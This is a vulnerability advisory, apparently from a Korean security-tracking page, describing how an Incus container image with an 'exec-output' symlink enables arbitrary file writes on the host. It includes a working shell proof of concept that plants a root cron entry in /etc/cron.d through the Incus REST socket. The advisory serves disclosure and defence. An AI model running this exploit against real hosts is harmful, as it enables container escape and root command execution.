Incus has an arbitrary file write on host via `exec-output` symlink in crafted image
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H상세 설명
Summary
The record-output parameter of the /instances/$name/exec endpoint stores the output of the command in the exec-output directory of the instance. If exec-output is a symlink, file named exec_UUID.stdout and exec_UUID.stderr can be written to an arbitrary location where the .stdout file will contain arbitrary content. This behavior can be abused for arbitrary command execution.
Details
When an image is unpacked, top-level symlinks are extracted as is; allowing for exec-output to be placed on disk. In instance_exec.go, os.Mkdir continues of exec-output exists and os.OpenFile follows the exec-output symlink.
PoC
Below, we place the exec_UUID.stdout file in /etc/cron.d on
the host for arbitrary command execution.
1#!/bin/sh 2# usage: $0 existing-imagefp 3set -eu 4 5basefp="${1}" 6 7die() { 8 printf '%s' "${@}" >&2 9 exit 110}11 12command -v curl >/dev/null 2>&1 || die 'error: curl not found\n'13command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n'14 15tmpdir=$(mktemp -d)16cleanup() {17 rm -rf "${tmpdir}"18}19trap cleanup EXIT INT QUIT TERM HUP20 21 22# insert exec-output symlink23 24incus image export "${basefp}" "${tmpdir}/img"25 26mkdir "${tmpdir}/repack"27cd "${tmpdir}/repack"28 29xz -cd "${tmpdir}/img" | tar -f- -vx30 31rm -rf exec-output32ln -s /etc/cron.d exec-output33 34tar -f- -c * | gzip -c9 >"${tmpdir}/img"35 36cd - >/dev/null37incus image import "${tmpdir}"/img* --alias afw-exec-output38 39 40# Launch container, exec with record-output via REST API41incus launch afw-exec-output afw-exec-output42incus wait afw-exec-output ip43 44OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \45 -X POST -H 'Content-Type: application/json' \46 -d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' \47 "lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])")48 49curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null50 51#find /etc/cron.d/exec_* -exec cat {} \;Impact
Constrained file creation in an arbitrary directory on the host via
via an unsanitized symlink; possibly leading to command execution.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.